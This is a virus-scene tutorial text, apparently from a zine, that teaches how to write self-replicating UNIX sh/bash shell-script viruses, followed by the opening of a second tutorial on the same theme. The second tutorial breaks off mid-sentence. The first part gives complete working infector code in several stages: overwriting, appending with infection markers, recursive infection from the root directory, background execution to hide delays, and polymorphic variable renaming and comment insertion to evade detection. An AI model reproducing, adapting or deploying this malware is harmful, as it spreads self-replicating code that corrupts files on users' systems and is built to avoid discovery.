ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHELL_GWI.TXT]ÄÄÄ UNIX SH and BASH shell viruses ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ First of all i would like to ask pardons for all grammar errors, english isn't my native language, and i am too dumb to learn it well. What is UNIX Shell? People, who knows it, can scip some lines below, people, who knows UNIX well, can don't read this text at all. UNIX Shell is pecular BAT language of the UNIX systems, but much more advanced, functional and effective. A lot of system utilites are written in it, and it's says a lot about UNIX Shell. There is a many varieties of the UNIX Shell, for example SH, BASH, ZSH, KSH, CSH, you even can write your own UNIX Shell interpreter. It complicates writing of the programs by reducing of their compatibility. UNIX Shell language is rather flexible and universal. Equally as in the BAT, in UNIX Shell language there are internal, built-in commands, such as, for example, "cd", and external, system, commands, such as "cp", for example. In the UNIX Shell language there are constuctions like "if ... then", "for ... in ... do", and similar to them. In this article i will talk about one from numerous versions of UNIX Shell - SH and its extended version BASH. The syntax of SH is a little similar to C/C++, and this isn't wonder - well known that UNIX is at most the C system, what is extremly depresses sometimes. It is possible to longly argue about rationality of the writing of Shell viruses. On the one hand they are exotic enough, as BAT, on the another hand Shell in UNIX is used mush more activer, than BAT in DOS/Windows, from the third party - UNIX is a system well good protected from viruses generally and from the script viruses especially. As you can see there are a lot of the points of view. Nevertheless, the viruses of the such type are exists, so it is needed to somebody. By the way sensational Linux.Ramen worm is a half written on the UNIX Shell script. And the final words - only the shell scripts are portable on all variants of *NIX without recompilation. Probably there are enough of words, it is time already for the code to be. The mentioned below code is a primitive overwriting virus in the current catalog, and it is strikes all files, irrespective of their type. NOTE: I want to ask pardon for using my nick in all example viruses in this article, but here is a reason for it. The infection mark is necessary to be very rare word, and i think my nick is such kind, because no one idiot, except me, will have this stupid word in his files. That's why it isn't a stupid self-adoration, but the simple necessity (at least i hope for it). <-------------------------------- Cut here --------------------------------> for vic in * do cp $0 $vic done <-------------------------------- Cut here --------------------------------> There is nothing original in this virus, and the similar viruses in this or other kind were present in all texts about this theme. How and what this virus do? For each file (designated by the variable "vic") it executes the command "cp", which copies first file to second, in our case $0 to $vic. What is the $0? This built-in variable designates first element of the command line, and in our case it is the name of executed file, which stores our virus. The sign "$" means, that contents of the variable, which name stands after this sign, are used. It is necessary to notice that in UNIX the files consider all: starting from the directories, passing through the links, and finishing the operation memory, thats why we can add yet another minus to this virus - it doesn't know what it infects. Certanly, we can bypass all this, but what the sense is to put engine from "Porche" on a children's bicycle? Normal virus MUST be non-overwriting. So lets do it. Here is a simple example of a parasitic virus - it is adding to the end of all files in the current directory, still without any extra functions and checks. <-------------------------------- Cut here --------------------------------> for vic in * do if [ -z "`grep -s Gobleen $vic`" ] then echo >> $vic tail -n 8 $0 >> $vic fi done <-------------------------------- Cut here --------------------------------> Of course, this virus is far from perfection, but, at least it isn't overwriting. How is it working? For each founded file it executes the following operations: if there are not present the string "Gobleen" (infection mark), than it appends to the end of file the symbol of line feed (some files can haven't it, and if it is - there are will be an error while executing such file after infection). After this, virus appends to the end of file 8 strings from the end of current executed file, what is the body of virus. This is all. What is used for this purposes: as you can see, the condition for operator "if" is the string [ -z "`grep -s Gobleen $vic`" ]. What does it means? All is simple - 'grep -s Gobleen $vic' prints all lines in the file $vic, which containing substring "Gobleen". "-s" is here for shut down all error messages, for example, if we will try to check the file, for which we haven't access permissions. As you see, all this string is in quotation markses (""), this means that we will take the result, which will be returned from operator "grep" as a condition for check. "-z" means "if there not the string". So all this line together will mean the condition "if there not present the strings with substring "Gobleen" in the file "$vic", than execute the next commands". And the next lines are the virus commands as themselfs. String "echo >> &vic" adds an ouput from the command "echo" to the and of file. By default, it adds to the output string the line feed symbol, but, in our case, we don't output a string at all, so command "echo" prints only the line feed symbol. String "tail -n 8 $0 >> $vic" appends (">>") 8 strings ("-n") from the end of the file $0 to the end of the file $vic. As you see, there are no any checks, but this isn't good. What kind of checks should we do? As minimum the next some: file for infection is a file (not a directory, for example); file for infection is executable; file for infection is a UNIX Shell script (of variety, that the virus for); we have a permissions for writing to this file (if we haven't it there are will be error messages on the screen); and plus for all this the thing we are already check - the previous infection. How we can do it all? Easily! For checking almost all we was talking about above, we can use one very nice command - "test". Honourly speaking, we already have use it when we was checking the presence/absence of the string in the file - but there was another form of this command - "[ ... ]". Which form you will use is your decision. So, what checks can do this very nice command? I will not decribe all of them - there are tonns of them, but the main - here they are: "-e" - the file is present "-d" - the file is present, and it is directory "-f" - the file is present, and it is a normal file "-L" - the file is present, and it is a symbolic link "-r" - the file is present and we have a permissions to read it "-s" - the file is present and it's size isn't zero "-w" - the file is present and we have a permissions to write into it "-x" - the file is present and we have a permissions to execute it And it is only for work with files! And besides there are conditions for work with lines and, purely, for work with conditions as themselfs. That's why i name this function "very nice" If we need to check an absence of some condition, for example, that file isn't a directory, we must put the symbol "!" befor the condition, for example, like that: [ ! -d file ] or like that: test ! -d file. The string, which checking the presence the file "file" and it's executable attributes will be looks like that: [ -x file ] or like that: test -x file. How we can to know what type of Shell scripts our file belongs for, and is it a script at all? Unfortunally, there are no 100% clear method. There are a several ways, but each one of them haves it's own minuses: - We can check the presence of tne string, pointing to the interpreter, for example #!/bin/sh in the file, but such string can be absend, and the file will be good working without it. Such files are rare, but they are can be. - We can call the command "file", which should print the string, describing the type of pointed file, but sometimes this command is wrong. As for example, if there are not present the string, pointing to the interpreter in the file, the command "file" can say that this file is ASCII Text, but it ain't so. - We can check the file for presence of some string, which is specific for such type of scripts, that we need, for example "echo" or "cat", but here we have the risk of erroneous check, what is not desirable for us. I think, that the better is to infect less, than needed, than more than it is - the first and second method is better. Which method will use you - is your decision. The way of checking with help of the presence of the string is clear, the example of such actions was some lines above, but the way of checking with help of the command "file" must be commented. As it was writed above, this command returns the string, which describes the type of the pointed file. What we will do with this string? We can just compare it with the the string, which is stored in our body: if [ "`file -b $vic`" = "Bourne shell script text" ] ; then The command line parameter "-b" is needed to remove the name of tested file from the output of the command "file", we need only the type. Also we can to give the output from the command "file" to the input of the command "grep" to check the presence of the keywords, for example the word "Bourne", and this way seems to me the better then previous, because of the word "Bourne" is presented in the type's name of the both script types - SH and BASH, and if we have the virus of the SH type, it is good for us, because we will can to check both types of victims. It's not meaningfull for the BASH script viruses, because of SH isn't support BASH, but is meaningfull for the the SH script viruse, because of BASH supports the SH. The code will be looked like this: if [ -n "`file $vic | grep Bourne`" ] ; then Command line parameter "-n" means, that the condition is true, when the string is presented (not empty), "|" means conveyor - the output from the command "file" is given to the input of the command "grep". As the result we will have the true, if there are the word "Bourne" in the ouput from the command "file". After the adding of all this checks into our virus and a little optimisation, we will have such code: <-------------------------------- Cut here --------------------------------> for vic in * do if [ ! -d $vic ] && [ -z "`grep -s Gobleen $vic`" -a -x $vic -a -w $vic ] ; then if [ -n "`file $vic | grep Bourne`" ] ; then echo >> $vic tail -n 8 $0 >> $vic fi; fi done <-------------------------------- Cut here --------------------------------> Now we have not so bad virii, but, true spelling, not without the minuses. Here "-a" means logical "AND", which is used to the conditions. It means that the main condition will be true, if all subconditions are true. Why we check is it directory? Because of attribute "x", used to directory in UNIX means that we can change the current directory to that one with the command CD (or something like it), and if we will try to write to the directory like in the file - there will be an error, and the error message will be printed on the screen, that are dangerous to the virus - user can think why here is an error and find our virus. Of course, this virus can be more optimised, but it will hamper understanding. Now about the minuses - here are several of them: 1. We are appending to the end of virus. But what will be, if the victim is finished with the command "exit"? Of course, there are very few such files, normally this command is used for exiting from the middle of the script, but it isn't more good - in the both cases our code can not be executed, and if in the second case we are still having any chances, but in the first we haven't them. And it is, you see, unpleasant. 2. Besides it, our virus is working in the current dirrectory, and it deprives it almost of all chances to live. What we have to do? There are the several ways: - infect the files in the pre-declared directoryes, such us /bin, /usr/bin and etc. - old good DOT-DOT - go up thru the directoryes' tree, while not going to the highest level. - directory traversal loop. The first to ways, it seems to me, aren't effective enough, because they haves any limits, and this isn't good, especcially, if to take into account the fact, that Shell-scripts are very limited without that. Thats why we will consider at once the third way, as, by understanding it, you will can understand and write the first two ways by yourself. So, directory traversal loop. It can be realised, as a minimum, by the two methods: with the help of recursive calls of the procedure with the system functions of directory changing, and with the help of the system function "find". For certain, there are also other methods, but i think that this two is enough for the begining. If you will have the strong desire to do it by the different methods - thats good, UNIX Shell is rather flexible and functional to allow you to do it without the special transactions. First method: recursive search with the help of the internal procedure: <-------------------------------- Cut here --------------------------------> do_dir () { cd $1 for vic in * do if [ -d $vic ] ; then do_dir $vic else if [ -z "`grep -s Gobleen $vic`" -a -x $vic -a -w $vic ] ; then if [ -n "`file $vic | grep Bourne`" ] ; then echo >> $vic cat /tmp/vic$$ >> $vic fi; fi fi; done cd .. } tail -n 17 $0 > /tmp/vic$$ do_dir / rm /tmp/vic$$ <-------------------------------- Cut here --------------------------------> How is it works? Very simple. All code between the first line and the line "cd .. }" is a procedure, which is responsible for the processing of the directory, which name is given to this procedure as a parameter. When this code starts, the execution will be processing from the command "tail", what will create the file with the clear virus body and unique name in the directory /tmp. After that the procedure do_dir () will be called with the parameter "/", what means the root of the directoryes' tree. After this function will complete, the file with the clear virus body will be erased. What the do_dir () procedure do? At the first step it changes the current directory to the directory, which name was given to this procedure as a parameter. Need to comment, that this name is short, without the full path, thats why directory changing will be in the current directory. After this, for all files/directoryes in this directory will be executed the next commands: if it is a directory - do_dir () will be recursively called with the name of founded directory as a parameter; if it is a file - it is infecting. After processing all files/directoryes in the current directory, it will be changing to the upper (".."). Processing of all directoryes' tree thus happens. NOTE: Pay attention, this procedure should be placed higher. than all those lines, from which it is called, otherwise, the system will not understand, what do you want from it, because of for that moment this procedure will be unknown to the system. Second method: the using of the system function "find". I think, this method must be much more commented. "Find" utility is intended, first of all, for files finding, but apart from it, this utility haves many nice functions (this is peculiar to almost all UNIX utilites). One from this utility's skill is a search for files with specified attributes, another is executing some actions for each from the founded files. For example, the next command finds all executable files (executable attribute is setted at least to one from three variants - "owner", "group", "other") in the current directory and shows their names to the screen: find . -type f -perm +111 -exec bash -c \ "echo WE FOUND FILE {} HERE!" \; Why is it working? Because of for each one founed file we execute the BASH enterpreter with the parameter "-c", what means "take the commands from the next coming string", and the next comming is the string with the command "echo", which shows text to the screen. The symbol "{}" means the name of the file, processing at this time by the command "find". This commands must be writed in the specified form like "commands" \; because of only in this form the interpreter understand them as a one string and transmit this string to the interpreters copy, which is executed by us. Besides that, we must to shield (put the symbol "\") before the language elements, which can hinder the interpratation of this string (like "'", "$" and etc.). It will be shown much more visually, and, i hope, clearly in the next example below. Now about the "find". I will not put here all it's parameters, because all of them is useful, but there are so much of them, and the putting of them here means the putting of the full text of the MAN-file, but it is not in the frameworks of this tutorial. Thats why i will describe only those parameters, which i will use: "-type" - type of the file: d - directory f - normal file l - symbolic link "-perm -..." - Permission attributes of the file. All bits of the "..." must be setted for the file. "-perm +..." - Permission attributes of the file. Any of the bits of the "..." must be setted for the file. "-perm -..." - Permission attributes of the file. All bits of the "..." must be presented in the permisions of the file. "-exec file" - Execute the file "file". Now here the code: <-------------------------------- Cut here --------------------------------> tail -n 8 $0 > /tmp/vicGWI find / -type f -perm +111 -exec bash -c \ "if [ ! -d {} ] && [ -z \"\`grep -s Gobleen {}\`\" -a -x {} -a -w {} ] ; then if [ -n \"\`file {} | grep Bourne\`\" ] ; then echo >> {} cat /tmp/vicGWI >> {} fi; fi" \; rm /tmp/vicGWI <-------------------------------- Cut here --------------------------------> This virus is functionally similar to the previous. It was necessary to change the name of the temporary file, because of the variable "$$" means the number of current system task, but in this virus, in the difference from the previous, the number of the task is changing for each file, because we start the new task - the copy of BASH interpreter. Ok, it's good, now we can to do much things, but here is a bad thing - we are working to slow. What we should to do? Very easily! If we put the symbol "&" in the end of the command line, the command will be running as the background process, what means - not noticeably, and it is what we need. But there is one problem - if we simply put this symbol in our virus - the virus will be crashing. Why? Because of after execution of the command "find" at the background, the system will not wait it's completion, and will execute the next command - "rm". Our clear virus body will be erased, and the virus will not found it for infection. So it will be crashed. We can do not erase this file at all, but, i think, it isn't good. So we need to think a little and do a litle wily trick. All would be much easier, if we were wrote our virus in a beginning of the file, but if we have selected the hard way, we should go on it up to an extremity: <-------------------------------- Cut here --------------------------------> tail -n 9 $0 > /tmp/vicGWI; grep -v runGWI /tmp/vicGWI > /tmp/runGWI chmod 755 /tmp/runGWI; (/tmp/runGWI &); exit 0 find / -type f -perm +111 -exec bash -c \ "if [ ! -d {} ] && [ -z \"\`grep -s Gobleen {}\`\" -a -x {} -a -w {} ] ; then if [ -n \"\`file {} | grep Bourne\`\" ] ; then echo >> {} cat /tmp/vicGWI >> {} fi; fi" \; rm /tmp/???GWI <-------------------------------- Cut here --------------------------------> So, as you see, it is very funny thing. What is the difference between it an the previous one? When infected file is executed, virus creates 2 temporary files in the directory /tmp. One of them, which name is "vicGWI", stores the clear virus body, second one, it's name is "runGWI", is a file, which is processing the infection. After the creation of them, virus executes the file "runGWI" as background process, and finishes the program's work. Therefore practically there will be no time delay, and the infected files will not be the suspiciously hanged up when they will be executed. Now we know how to write UNIX shell script virus, and we need to increase it's vital abilities. As here isn't any good *NIX heuristic analysers, all we need (at the beginning) is a polymorphic functions. So, polymorphism. There is a two simple ways of doing this for script viruses - mutation of the variables' and functions' names and inserting of a random comment strings into the random (or not) places of the virus body. It is a simplest methods. Of course, there are other methods, a little, or much more advanced, but all of them was born from this two methods, so, lets talk about them. No matter what method you prefer, you will need a random numbers generator. How to make it? Not so hard. There are built-in variable $RANDOM in the BASH Shell. In the documantation i read, that SH haven't it, but i found this variable working on QNX's SH Shell (not BASH!). So, i think, it must be presented on both types of Bourne Shell (SH and BASH). What is this variable? When you call it, the system generates a random number and puts it into this variable, so, it is what we need. But there is one little problem, this number is too big, as i can found it in my tests on Linux, so we must to make some function to make it more usefull to us. My variant of this function looks like that: do_random_number () { RANDOM=$RANDOM return `expr $(($RANDOM % $(($2 - $1)))) + $1` } How is it working? The first string is a randomiser, which makes the $RANDOM much more random, then it is at the start. You may not use this operation, but better is to do it. The second string creates a random number in a range, which is specified by data-ins of the function. As you can see, there is a two data-ins - $1 and $2, the beginning and the end of the range. So when you need to get a random number, do the next: do_random_number x y Here "x" is the beginning, and "y" is the end, of the range, where should be the random number you need. What else do we need? We need, of course, the functions, which will do the mutation of the selected type. On both types the part of the mutation is the creation of the strings of the random length, containig from the random letters. We need the procedure to create this strings. Here is a millions ways to write it, i did it like that: until [ $variable_length -eq 0 ] ; do do_random_number 65 122 symbol=$? if [ $symbol -lt 91 -o $symbol -gt 96 ] ; then mutated_variable=$mutated_variable`echo -e '\'$(printf %o $symbol)` variable_length=`expr $variable_length - 1` fi; done What are this commands do? The loop with "until" means "do loop, while the condition is false. In our case - while variable "variable length" isn't equal to zero. Thi variable is the length of currently generated string, and better to make it random. The next string gets a random number in the range from 65 to 122 - it is the significance of the letters in the ASCII table, but this range contains the subrange, which contains not the letters. It is from 91 to 96, so we need to check, is our random number in this range, and, if so, take the random number again. It is checked in the next lines with the help of the operator "if". Third string means "variable "symbol" is equal to the output from the last command". The last command's output is marked as the built-in variable "$?". So we take the output from the random numbers generator. Next line, as i say above, is the check for the suitability of the random number for our purposes. How we do it? With help of very nice command "test". Do you remember i spoke, that it has a lot of useful parameters? Here it is a little more from them. They are used for work with numerals: "-eq" - equal "-ne" - Not equal "-gt" - Greater than "-ge" - Greater than, or equal "-lt" - Lower than "-le" - Lower than, or equal So, as you see, we check the next: "if the variable "symbol" lower than 91, or ("-o") it is greater than 96, do the commands". In the next line you can see the string "mutated_variable=$mutated_variable`echo -e '\'$(printf %o $symbol)`". What is it doing? It generates the letter by it's number in the ASCII table and adds this letter to the generated string. How? Simply. Command "echo -e" means "output the symbol, which octal number in ASCII table is "\xxx", where "xxx" is the number. Symbol "\" is needed according to the syntax of the command. The number "xxx" is converting from the decimal to the octal form with help of the command "printf", which, in our case, shows the number "symbol" in the octal ("%o") form. And the next line reduces the counter "variable_length" on 1. After looping of this cycle, the variable "mutated_variable" will contain the fresh-generated string. All we need is to take it and use as we need. This information is enough to make the first step - virus, which mutates its variables' and functions's names. So, lets do it: <-------------------------------- Cut here --------------------------------> tail -n 29 $0 > /tmp/pure_virus; tail -n 27 $0 > /tmp/infector chmod 755 /tmp/infector; (/tmp/infector &); exit 0 variables="pure_virus infector variable_length mutated_variable mutation temporary do_random_number variable_name symbol variables" do_random_number () { RANDOM=$RANDOM return `expr $(($RANDOM % $(($2 - $1)))) + $1` } mutation () { sed s/$1/$2/g /tmp/pure_virus > /tmp/temporary; cp /tmp/temporary /tmp/pure_virus } for variable_name in $variables; do do_random_number 4 14 variable_length=$? mutated_variable="" until [ $variable_length -eq 0 ] ; do do_random_number 65 122 symbol=$? if [ $symbol -lt 91 -o $symbol -gt 96 ] ; then mutated_variable=$mutated_variable`echo -e '\'$(printf %o $symbol)` variable_length=`expr $variable_length - 1` fi; done mutation $variable_name $mutated_variable done rm /tmp/temporary find / -type f -perm +111 -exec bash -c \ "if [ -z \"\`grep -s Gobleen {}\`\" -a -w {} -a -n \"\`file {} | grep Bourne\`\" ] ; then echo >> {} cat /tmp/pure_virus >> {} fi" \; rm /tmp/infector; rm /tmp/pure_virus <-------------------------------- Cut here --------------------------------> This virus is made on the base of previous one, but with some modifications, optimisations, bug-fix and adding of the main part - the mutation mechanism. Ok. Now about it's work. First two lines is creating of the clear body and infector, it is not changed. Next is string, which contains the names, which must be mutated. After this is a random generaton function, you know it, and the mutation function. A few words about it. The main job of the mutation() function is replacing of all strings being to mutation to the new fresh-generated strings. The first data-ins parameter of the function is an original string, the second is the string which will replace original string. We do this with help of the function "sed" - String EDitor with a command "s" - substitute the first expression with the second expression. Flag "g" means globally substitution for all nonoverlapping instances of the regular expression rather than just the first one. The function mutation() is called for each one mutable string in the virus body. After a looping of the cycle "for variable_name in $variables" we have a mutated version of the virus into the file "/tmp/pure_virus". After this, we search and infect all approaching files in the directory tree. There are a little optimisation in the infection part - all unnecessary parameters and commands was removed, but i hope you can understand all of this optimisations now. So, we've written the simple polymorphic virus. Next step is the adding of the random comment lines in the random places of the virus body. I think you can do it yourself now, after understanding of all info above, but in any case i will bring an example of it. What do we need? First of all - random numbers generator - we have it. The second - infection part - we have it. The third - mutation part, we still haven't it, so, lets write it now. What will this function do? Generate a number of comments, a length of each comment, and the comments as itself. After this, this comments will be added to the virus body. I know my variant of this function is veeeeery lame, but it was first that came into my mind. If you know how to do it better (i know there is another methods) so do it. Here is my variant: do_random_number 3 `expr $virus_length / 3` split -l $? /tmp/pure_virus /tmp/virus_piece for body_part in /tmp/virus_piece* ; do mutated_string="" do_random_number 15 50 create_string $? echo '# '$mutated_string >> $body_part done cat /tmp/virus_piece* >> /tmp/temporary How it works? First line generates a random number in range between 3 and the count of lines in virus body divided by 3. This random number is a position to insert a random comment line. On the second string we split virus body to pieces, each of which contains number of lines, determined by the previous command. After this, we generate and add a random comment line at the end of each piece of virus body and merge this pieces into one file. The "create_string()" function is already familiar to us from the previous virus, it is just moved to the separate function. Here it is: create_string() { variable_length=$1 until [ $variable_length -eq 0 ] ; do do_random_number 65 122 symbol=$? if [ $symbol -lt 91 -o $symbol -gt 96 ] ; then mutated_string=$mutated_string`echo -e '\'$(printf %o $symbol)` variable_length=`expr $variable_length - 1` fi; done } Nothing new, isn't it? Here is only a few things which, as i think, requires the comments. As you see, this function returns nothing. Why? Because we need it returning the string, but the functions can't return nothing, except from number constants. Therefore we had to be artfull. You see this function uses variable "mutated_string", so our artfull thing is obviously - we define this variable before calling this function, and after it this variable will contain the string we need. And another thing we must to do - remove all comments from the file before adding the new. If we will not do it, virus will not work. It is all i want to say, now the code. <-------------------------------- Cut here --------------------------------> virus_length=45 echo -n "`cat $0`" | grep -v '^#' | tail -n $virus_length > /tmp/pure_virus echo \#!/bin/bash > /tmp/infector; head -n 1 /tmp/pure_virus >> /tmp/infector tail -n `expr $virus_length - 5` /tmp/pure_virus >> /tmp/infector chmod 755 /tmp/infector; (/tmp/infector &); exit 0 variables="pure_virus infector variable_length mutated_string mutation temporary do_random_number variable_name symbol variables create_string virus_length virus_piece body_part" do_random_number () { RANDOM=$RANDOM return `expr $(($RANDOM % $(($2 - $1)))) + $1` } mutation () { sed s/$1/$2/g /tmp/pure_virus > /tmp/temporary; cp /tmp/temporary /tmp/pure_virus } create_string() { variable_length=$1 until [ $variable_length -eq 0 ] ; do do_random_number 65 122 symbol=$? if [ $symbol -lt 91 -o $symbol -gt 96 ] ; then mutated_string=$mutated_string`echo -e '\'$(printf %o $symbol)` variable_length=`expr $variable_length - 1` fi; done } do_random_number 3 `expr $virus_length / 3` split -l $? /tmp/pure_virus /tmp/virus_piece for body_part in /tmp/virus_piece* ; do mutated_string="" do_random_number 15 50 create_string $? echo '# '$mutated_string >> $body_part done cat /tmp/virus_piece* >> /tmp/temporary rm /tmp/virus_piece* mv /tmp/temporary /tmp/pure_virus for variable_name in $variables; do mutated_string="" do_random_number 4 14 create_string $? mutation $variable_name $mutated_string done rm /tmp/temporary find / -type f -perm +111 -exec bash -c \ "if [ -z \"\`grep -s Gobleen {}\`\" -a -w {} -a -n \"\`file {} | grep Bourne\`\" ] ; then echo >> {} cat /tmp/pure_virus >> {} fi" \; rm /tmp/infector; rm /tmp/pure_virus # This comment is necessary! <-------------------------------- Cut here --------------------------------> What i can say about this virus? We put the count of virus lines to the variable "virus_length" because of we use this number more than one time, and it is much more convenient to store it into the variable. Why we put the comment into the end of the code? Because we need to have the newline symbol there, and after erasing the comments we will have it. Without the newline symbol the virus will crash in the next generation. And last words. We put the string "#!/bin/bash" at the beginning of the file with the purposes of increasing of the reliability of a code. If the default interpreter isn't BASH (SH), without this string the file "/tmp/infector" will crash with a high probability. With this line all will be ok (at least i hope for it). I hope you've understood all i haven't told about this virus. Here is, i think, all i want to say in this tutorial. I consciously didn't consider prepending viruses, because of the understanding of all written above is allow to write them without a large transactions. By the way, the work with them is much easier an more pleasant, than with the appending viruses. And generally, the UNIX Shell world is so polyhedral and interesting, so it is unreal to describe in one article everything, about what it would be desirable to tell, for it should be written the rather thick book, but not the article. As for the possibilities and ways of development of the UNIX Shell, so, probably, it will remain by something exotic, probably not, because it is rather functional, of what i was convinced another one time, while writing the programs for this tutorial. At this words i finish this article, not telling even about 30 percents of possibilities of the UNIX Shell. If somebody will find this tutorial interesting and useful to himself, i will be very glad. Thank you for spending your time for reading this article, and excuse me again for my terrible english. P.S: There are all examples from this article in the enclosing archive. They are in UNIX tabulation - 1 symbol for line feed. P.P.S: I want to thank people, whose sources i have looked, while learning shell script language: Quantum and SnakeByte, thank you very much! Gobleen Warrior//SMF 1901 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHELL_GWI.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHELL_ZERT.TXT]ÄÄÄ ________________________________________ \Virus Juice: squeezing bash to get it, \___________________ \______________ another little shell script virus tutorial. \ \_________________________________zert/int80h_\ 0.- Index 1.- General introduction 1.1.- Presentation 1.2.- Shell scripting 1.3.- Shell script virus, scope 2.- Shells in UNIX 2.1.- Potentialities and compatibilities between the different shells 2.2.- sh and bash, a fact standard 2.2.1.- Bash thoroughly and usual commands 3.- Shell script virus 3.1.- Infection techniques 3.1.1.- Overwriting 3.1.2.- Prepending 3.1.3.- Postpending 3.1.4.- Residence 3.1.5.- Companion 3.1.6.- Multiplatform 3.2.- Search for objectives 3.2.1.- Possible victim detection 3.2.2.- How and where do we find them? 3.2.3.- Shell scripts and "su" 3.3.- Hiding techniques 3.3.1.- Stupid techniques 3.3.2.- File names 3.3.3.- Code insertion, "source" clause 3.3.4.- Output messages 3.3.5.- Execution delays 3.3.6.- Aliases 3.3.7.- Polymorphism 4.- Conclusions 4.1.- Future of the shell script viruses 4.2.- Thanks 5.- References 1.- General introduction -=-=-=-=-=-=-=-=-=-=-=-=- 1.1.- Presentation ------------------- This tutorial is intended to give a general perspective on script virus in UNIX environments, as well as showing some examples of what can be done using the explained techniques. There are many tutorials following the same topic, so this text is not new in that aspect, but I considered of interest writing it so I can give a more global focus to the topic, and show my examples in detail. To finish this introduction I would like to epmhasize the work of SnakeByte and Gobleen Warrior in this field. I didn't know there were more people interested in this funny type of scripts :-) 1.2.- Shell scripting ---------------------- Let's start from the basics, what is a shell script? As the name says, a shell script is a program interpreted by the shell. A shell is a command interface that translates the commands introduced by the user and executes them. Every operating system has its own shell or command interpreter, you can find cmd.exe in Windows NT, command.com in Windows 9x, and a big variety in the UNIX family, let's say sh, csh, ksh... Shell scripts are used to make little programs that will be used very frequently, avoiding us having to introduce the same commands every time we want repetitive actions. This is called batch processing, in which the system executes all the actions listed in the script without the user's intervention. Scripts are used in UNIX for almost everything: running daemons, configuring programs, enabling services... this is done due to the ease of script programming and the power of UNIX shells. All this is why shell script viruses have an important space in UNIX systems where to reside, even their detection is almost trivial and their infection methods are rudimentary, as I will explain later on. 1.3.- Shell script virus, scope -------------------------------- The first question that comes to us can be: do shell script viruses have sense at all? Up to what point aren't they a mere hobby? In my opinion, shell script viruses are not a real threat at all in UNIX systems. Any system administrator with common sense should know how to handle them without any difficulty. But in the other way, with the new popularity that Linux, FreeBSD and other UNIX-like systems for PCs are gaining, shell scripts are used by inexpert users that don't know much about what they are doing. In a situation like this, a shell script virus could live without being detected, but it's true that it will hardly infect other systems. Shell script viruses have a handycap in common with other UNIX system viruses: it is not usual for the users to interchange executable files. Usually files are distributed with their source code, and in the case of the scripts, they are edited to satisfy the needs of the machine in question. Then, with this, I would like to say that I consider this kind of viruses an entertainment, a way of experimenting and satisfying my own curiosity, and not as real viruses that can deal with other antiviruses and advanced users. I started with this in in my UNIX class, where we had not much to do and had many hours in front of a shell. This helped me to gain some knowledge and experience on shell scripting :-) 2.- Shells in UNIX -=-=-=-=-=-=-=-=-=- 2.1.- Potentialities and compatibilities of the different shells ----------------------------------------------------------------- The difference with other operating systems is that there are many different shells in UNIX, and each of them is specific for certain development environments and have a similar but different syntax. Because of this, it is very usual to include a row at the beginning of every shell script, in which we select the shell that will take care of the execution of the script, to avoid misunderstandings. ----------------------------hello.sh---------------------------------- #!/bin/csh echo Hello, world! -------------------------end of hello.sh------------------------------ As we can see we make use of an special comment (comments start with an # and finish at the end of line) to indicate where is the specified shell held on. If we don't include that line the script would exectute anyways, but if we were using some specific commands for that shell, it could be a disaster not including it. Every shell is "strong" in the scope it was designed for, sh is quite disgusting for interactive work, but it's very powerful at scripting. Ksh (Korn Shell) is intended to be more user friendly and is the standard shell in many UNIX systems (e.g. Solaris), csh and its newer version, tcsh is another common UNIX shell. There are many others, each one centered in a different caracteristic (speed, size, etc.). In this tutorial we will concentrate on the most extended shell, sh or bash (Bourne Again Shell) because it is present in every UNIX system. 2.2.- sh and bash, a fact standard ----------------------------------- Bash is a new implementation of Stephen Bourne's shell, Bourne Shell. Due to its power and that it has been including other shell's capabilities, it has been gaining ground in the world of shells until becoming a fact standard, this is, a standard because of the intensive use of it. Usually scripts which are written to be used in a bash shell have .sh extension, even though system scripts don't follow this rule. In Linux systems /bin/sh is usually a symbolic link to /bin/bash, so there is no difference between them, but in other UNIX systems there are differences with regard to sh, bash and bash2's capability, so this is something to take into account when trying to program in a compatible way. 2.2.1.- Bash thoroughly and usual commands ------------------------------------------- There are many structures, expresions and built-ins in the bash shell which help making complex and powerful scripts, but can confuse the programmer. For an exhaustive use of bash I recommend the "Advanced Bash-Scripting Guide: A complete guide to shell scripting, using bash", which can be found at www.linuxdoc.org in the "Guides" section. In this chapter of this tutorial I will only explain those bash particularities that we will need to write our shell script viruses. I recommend reading it at the end, as we need a more detailed explanation about the commands and expressions used in the scripts, so please, go to the next chapter ;-) The "cut" command ------------------ The "cut" command is used for getting different fields from the lines of a file. The most usual way of using it is defining a character as a field separator and a field number, for example: /etc/passwd file: zert:x:1001:100::/home/zert:/bin/bash with $> cat /etc/passwd | cut -d":" -f3 we will get the UID of "zert" (1001) because we are defining ":" as a field separator (-d":") and we are requesting the third field (-f3). With "cut" we can do many other things, but they are not interesting for this tutorial, so if you want to know something more about this command, you know what to do, "man cut" ;-) The "head" command ------------------- With the "head" command we request the first part of a file. We can request a specific number of characters or even a specific number of lines, for example: $> head -5 /etc/passwd gives us the first 5 lines of the file "/etc/passwd". With $> head -c512 /etc/passwd we get the first 512 characters of "/etc/passwd". In this tutorial we usually use "head" in combination with "$0" to copy the first lines of the current file into the host. If you want to know more about this command, "man head" ;-) Redirecting the output ----------------------- Bash allows redirecting the standard output (stdout) as well as the standard error output (stderr) to other files. We use ">" to redirect standard output and "2>" to do the same with the standard error output. Something very usual in shell scripts is redirecting the standard output as well as the standard error output to the same file. Here is an example of how to do it: $> cat * > currentdir 2>&1 or $> cat * 2>&1 > currentdir Again, check out the manual pages for more info ("man bash"). The "if" structure ------------------- In Bash the "if" structure has some peculiarities in opposition to other programming languages, let's see how is its syntax: if list; then list; [ elif list; then list; ] ... [ else list; ] fi First of all the first "list" of commands is executed. If the final result is zero (equal to an "exit 0"), then the "then" list will be executed, otherwise the "elif" lists will be executed and if the final result is zero their "then" list is also executed. In the end, if there was no list with the final result set to zero the "else" list is executed. So, "if" does not need an expresion, it can be a list of commands or any 